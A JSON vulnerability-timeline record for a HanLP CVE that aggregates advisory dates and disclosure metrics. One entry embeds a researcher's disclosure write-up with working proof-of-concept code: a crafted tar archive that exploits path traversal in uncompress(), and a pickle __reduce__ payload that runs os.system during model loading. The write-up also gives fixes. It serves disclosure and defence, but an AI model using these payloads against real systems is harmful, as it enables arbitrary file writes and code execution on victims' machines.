{"metadata": {"vulnerability": "CVE-2026-112079", "count": 16, "kinds": {"milestone": 4, "sighting": 1, "kev": 0, "other": 11}}, "data": [{"timestamp": "2026-10-18T00:00:00Z", "date_only": false, "value": "2026-10-18T00:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / VulDB", "record": "CVE-2026-112079", "field": "containers.cna.timeline.0.time"}, {"timestamp": "2026-10-18T02:00:00Z", "date_only": false, "value": "2026-10-18T02:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / VulDB", "record": "CVE-2026-112079", "field": "containers.cna.timeline.1.time"}, {"timestamp": "2026-10-18T14:05:59.370Z", "date_only": false, "value": "2026-10-18T14:05:59.370Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2026-112079", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-10-18T16:11:04Z", "date_only": false, "value": "2026-10-18T16:11:04.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / VulDB", "record": "CVE-2026-112079", "field": "containers.cna.timeline.2.time"}, {"timestamp": "2026-10-19T04:45:08.929Z", "date_only": false, "value": "2026-10-19T04:45:08.929Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-112079", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-10-19T04:45:08.929Z", "date_only": false, "value": "2026-10-19T04:45:08.929Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / VulDB", "record": "CVE-2026-112079", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-10-19T05:17:04Z", "date_only": false, "value": "2026-10-19T05:17:04Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-Q7J8-9VMR-J8QV", "record": "GHSA-Q7J8-9VMR-J8QV", "field": "database_specific.nvd_published_at"}, {"timestamp": "2026-10-19T05:17:04.773Z", "date_only": false, "value": "2026-10-19T05:17:04.773", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-112079", "record": "FKIE_CVE-2026-112079", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-10-19T06:32:24Z", "date_only": false, "value": "2026-10-19T06:32:24Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-Q7J8-9VMR-J8QV", "record": "GHSA-Q7J8-9VMR-J8QV", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-10-19T06:32:24Z", "date_only": false, "value": "2026-10-19T06:32:24Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-Q7J8-9VMR-J8QV", "record": "GHSA-Q7J8-9VMR-J8QV", "field": "modified"}, {"timestamp": "2026-10-19T15:46:37.189Z", "date_only": false, "value": "2026-10-19T15:46:37.189568Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-112079", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2026-10-19T15:46:37.189Z", "date_only": false, "value": "2026-10-19T15:46:37.189568Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-112079", "record": "FKIE_CVE-2026-112079", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2026-10-19T16:36:33.443Z", "date_only": false, "value": "2026-10-19T16:36:33.443Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2026-112079", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-10-19T16:36:33.443Z", "date_only": false, "value": "2026-10-19T16:36:33.443Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-112079", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-10-19T17:17:10.943Z", "date_only": false, "value": "2026-10-19T17:17:10.943", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-112079", "record": "FKIE_CVE-2026-112079", "field": "lastModified"}, {"timestamp": "2026-10-22T09:11:09Z", "date_only": false, "value": "2026-10-22T09:11:09.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/zewolkt3939/8f665b80c0878e5efde324c255d1abcd", "record": "CVE-2026-112079", "field": "creation_timestamp", "uuid": "efbc59f2-a809-4f7c-93e0-161fc7a9ecb7", "content": "# HanLP 2.1.6 \u2014 two vulnerabilities: Tar-Slip arbitrary file write (CWE-22) and unsafe `torch.load` RCE (CWE-502)\n\n- **Project:** HanLP \u2014 https://github.com/hankcs/HanLP (PyPI: `hanlp`)\n- **Affected version:** confirmed on **2.1.6** (latest); the vulnerable code predates it\n- **Reporter:** Truong Bao (zewolkt3939)\n- **Status:** vendor notified by email; published as the external reference for a CVE request\n- **Note:** both are **distinct** from CVE-2026-112079 (`load_word2vec_as_vocab_tensor`) and CVE-2026-112081 (`hanlp.load` `classpath`) \u2014 different functions and, for #1, a different bug class.\n\n---\n\n## Vulnerability 1 \u2014 Tar-Slip / arbitrary file write (CWE-22)\n\n**Location:** `hanlp/utils/io_util.py`, function `uncompress()` (tar branch).\n\n`uncompress()` extracts TAR archives with no member-path validation:\n\n```python\nwith zipfile.ZipFile(path, \"r\") if ext == '.zip' else tarfile.open(path, 'r:*') as archive:\n    ...                           # namelist/root_of_folder logic only picks a dest folder\n    archive.extractall(dest)      # &lt;-- no validation of TAR member paths\n```\n\n- The `zipfile` branch is safe (CPython sanitises zip members). Only the **TAR** branch is affected, on **Python &lt; 3.14** (before `extractall` defaults to `filter='data'`).\n- A crafted archive member named `../../x` (or an absolute path) is written **outside** `dest`.\n\n**Reachability (public API \u2192 sink):**\n```\nhanlp.load(save_dir)                         # hanlp/__init__.py\n  -&gt; component_util.py:32  get_resource(save_dir)\n       -&gt; get_resource(path)                 # io_util.py:284  (docstring: \"a remote URL,\n                                             #                  downloaded, decompressed then returned\")\n          -&gt; download(url)                   # io_util.py:144\n          -&gt; uncompress(path, dest=None)     # io_util.py:204\n                -&gt; archive.extractall(dest)  # SINK\n```\n`get_resource()` sends any non-`.zip` compressed extension (`.tgz`, `.tar.gz`, `.tar.bz2`, `.tar.xz`, \u2026) through the tar branch. Third-party URLs are explicitly supported.\n\n**Impact:** arbitrary file write \u2192 commonly escalated to code execution (overwrite `~/.bashrc`, a `*.pth` in `site-packages`, startup scripts, etc.). **CVSS 3.1 8.1** `AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`.\n\n**PoC** (offline, writes only under `/tmp`, builds its own malicious archive, runs HanLP's own `uncompress()` code copied verbatim):\n\n```python\nimport os, io, sys, gzip, shutil, tarfile, zipfile\nfrom typing import Tuple, Optional\n\ndef remove_file(fn):\n    try: os.remove(fn)\n    except OSError: pass\ndef eprint(*a, **k): print(*a, file=sys.stderr, **k)\n\n# --- verbatim from hanlp/utils/io_util.py ---\ndef split_if_compressed(path, compressed_ext=('.zip', '.tgz', '.gz', 'bz2', '.xz')):\n    tar_gz = '.tar.gz'\n    if path.endswith(tar_gz): root, ext = path[:-len(tar_gz)], tar_gz\n    else: root, ext = os.path.splitext(path)\n    if ext in compressed_ext or ext == tar_gz: return root, ext\n    return path, None\n\ndef uncompress(path, dest=None, remove=True, verbose=True):\n    prefix, ext = split_if_compressed(path)\n    folder_name = os.path.basename(prefix)\n    file_is_zip = ext == '.zip'\n    root_of_folder = None\n    if ext == '.gz':\n        with gzip.open(path, 'rb') as f_in, open(prefix, 'wb') as f_out:\n            shutil.copyfileobj(f_in, f_out)\n    else:\n        with zipfile.ZipFile(path, \"r\") if ext == '.zip' else tarfile.open(path, 'r:*') as archive:\n            if not dest:\n                namelist = sorted(archive.namelist() if file_is_zip else archive.getnames())\n                if namelist[0] == '.':\n                    namelist = namelist[1:]\n                    namelist = [p[2:] if p.startswith('./') else p for p in namelist]\n                if ext == '.tgz':\n                    roots = set(x.split('/')[0] for x in namelist)\n                    if len(roots) == 1: root_of_folder = next(iter(roots))\n                else:\n                    root_of_folder = namelist[0].strip('/') if len(namelist) &gt; 1 else ''\n                if all(f.split('/')[0] == root_of_folder for f in namelist[1:]) or not root_of_folder:\n                    dest = os.path.dirname(path)\n                else:\n                    root_of_folder = None; dest = prefix\n            archive.extractall(dest)          # VULNERABLE SINK\n    if remove: remove_file(path)\n    return dest\n# --- end verbatim ---\n\ndef main():\n    sandbox = \"/tmp/hanlp_poc_sandbox\"; shutil.rmtree(sandbox, ignore_errors=True)\n    dl = os.path.join(sandbox, \"hanlp_home\", \"thirdparty\", \"models\"); os.makedirs(dl, exist_ok=True)\n    archive = os.path.join(dl, \"evil_model.tar.gz\")\n    escape = \"../../EVIDENCE/pwned_by_tarslip.txt\"\n    with tarfile.open(archive, \"w:gz\") as tar:\n        data = b\"arbitrary file write via HanLP uncompress()\\n\"\n        info = tarfile.TarInfo(name=escape); info.size = len(data)\n        tar.addfile(info, io.BytesIO(data))\n    target = os.path.realpath(os.path.join(dl, escape))\n    dest = uncompress(archive, dest=None, remove=False)\n    inside = os.path.commonpath([target, os.path.realpath(dest)]) == os.path.realpath(dest)\n    print(\"escaped path:\", target)\n    print(\"exists:\", os.path.exists(target), \"| inside dest:\", inside)\n    assert os.path.exists(target) and not inside, \"not reproduced\"\n    print(\"[+] CONFIRMED Tar-Slip:\", open(target).read().strip())\n\nif __name__ == \"__main__\": main()\n```\nOutput: the member lands at `.../hanlp_home/EVIDENCE/pwned_by_tarslip.txt`, two levels above the extraction dir.\n\n**Fix:** `extractall(dest, filter='data')` on Python \u2265 3.12, or validate every member (reject absolute paths and any resolved path outside `dest`; reject symlink/hardlink members pointing outside `dest`).\n\n---\n\n## Vulnerability 2 \u2014 Unsafe `torch.load` deserialization RCE (CWE-502)\n\n**Location:** `hanlp/layers/embeddings/contextual_string_embedding.py`, `RNNLanguageModel.load_language_model()`.\n\n```python\n@classmethod\ndef load_language_model(cls, model_file):\n    model_file = get_resource(model_file)\n    state = torch.load(model_file)       # no weights_only=True -&gt; pickle executes code\n```\n\n`torch.load()` without `weights_only=True` deserializes with Python `pickle`, which runs `__reduce__` of arbitrary classes. The sibling loaders `common/torch_component.py` and `utils/torch_util.py` were hardened with `weights_only=True`; this one was missed.\n\n**Reachability (public API \u2192 sink):**\n```\nContextualStringEmbedding(field, path=)          # public\n  -&gt; ContextualStringEmbeddingModule.__init__: path = get_resource(path)   # downloads remote URLs\n       -&gt; RNNLanguageModel.load_language_model(path/'forward.pt')\n            -&gt; torch.load(model_file)                        # SINK\n```\n`get_resource()` downloads remote URLs, so `forward.pt`/`backward.pt` can come from an attacker-influenced source (a third-party embedding, a URL in a shared config/notebook, or a MITM'd download).\n\n**Impact:** remote code execution when loading an attacker-supplied / third-party contextual-string-embedding model. **CVSS 3.1 8.8** `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`.\n\n**PoC** (safe, offline, benign marker; demonstrates the pickle `__reduce__` code-execution mechanism that `torch.load` with `weights_only` unset is subject to \u2014 `torch.load` delegates to the same pickle machinery):\n\n```python\nimport os, pickle, tempfile\nMARKER = os.path.join(tempfile.gettempdir(), \"hanlp_torchload_poc_marker.txt\")\n\nclass Evil:\n    def __reduce__(self):\n        return (os.system, (f'echo \"code exec via unpickling a .pt model\" &gt; {MARKER}',))\n\npt = os.path.join(tempfile.gettempdir(), \"forward.pt\")\nwith open(pt, \"wb\") as f: pickle.dump(Evil(), f)          # a malicious .pt\nif os.path.exists(MARKER): os.remove(MARKER)\nwith open(pt, \"rb\") as f: pickle.load(f)                  # == torch.load(pt) path -&gt; runs __reduce__\nassert os.path.exists(MARKER)\nprint(\"[+] CONFIRMED code execution during deserialization:\", open(MARKER).read().strip())\n```\n\n**Fix:** `torch.load(model_file, weights_only=True)` (as already applied in `torch_component.py` / `torch_util.py`); audit every `torch.load` reached via `get_resource` for the same gap.\n\n---\n\n## Timeline\n- `22/10/2026` \u2014 found via static analysis (Bandit + custom semgrep rules) + local PoC.\n- `22/10/2026` \u2014 vendor (hankcs) notified by email.\n- `22/10/2026` \u2014 this public write-up published as the external reference for a CVE request.\n", "url": "https://gist.github.com/zewolkt3939/8f665b80c0878e5efde324c255d1abcd"}], "metrics": {"as_of": "2026-10-30T10:42:08.890Z", "anchors": {"origin": {"timestamp": "2026-10-19T04:45:08.929Z", "date_only": false, "value": "2026-10-19T04:45:08.929Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-112079", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2026-10-19T04:45:08.929Z", "date_only": false, "value": "2026-10-19T04:45:08.929Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-112079", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": null, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": false, "missing": ["end"]}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 971819.961718, "hours": 269.94998936611114, "days": 11.247916223587962, "min_seconds": 971819.961718, "max_seconds": 971819.961718, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-10-19T04:45:08.929Z", "date_only": false, "value": "2026-10-19T04:45:08.929Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-112079", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-10-30T10:42:08.890Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": false, "missing": ["start"]}}}
